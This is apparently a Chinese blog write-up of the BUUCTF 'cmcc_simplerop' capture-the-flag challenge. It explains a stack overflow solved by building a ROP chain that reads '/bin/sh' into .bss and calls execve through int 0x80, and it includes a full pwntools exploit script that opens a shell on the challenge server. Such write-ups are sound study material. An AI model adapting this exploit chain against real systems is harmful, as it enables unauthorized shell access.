BUUCTF:cmcc_simplerop

简单粗暴,就是让你栈溢出,但这道题没有sys,需要自己构造,需要自己找大量的汇编代码,来进行系统调用。

其实就是控制eax=11 ebx=‘binsh’  ecx=0 edx =0

其实binsh  在该程序中没有,需要我们自行输入,我们可以调用read函数来往bss段上输入一个字符串

from pwn import *
p = remote("node4.buuoj.cn",26378)

read = 0x0806cd50
int_80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_eax_ret = 0x0806e850
bss_addr = 0x080eb584

payload = "a" * 0x20 + p32(read)
payload += p32(pop_edx_ecx_eax_ret)			
payload += p32(0) + p32(bss_addr) + p32(8)	 
payload += p32(pop_eax_ret) + p32(0x0b)		
payload += p32(pop_edx_ecx_eax_ret) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_80)

p.sendlineafter(":", payload)
p.sendline("/bin/sh\x00")

p.interactive()

 继续练习的同时也要打捞汇编基础

BUUCTF:cmcc_simplerop

上一篇:Nginx--配置实例(高可用集群)


下一篇:mybatis 注解CRUD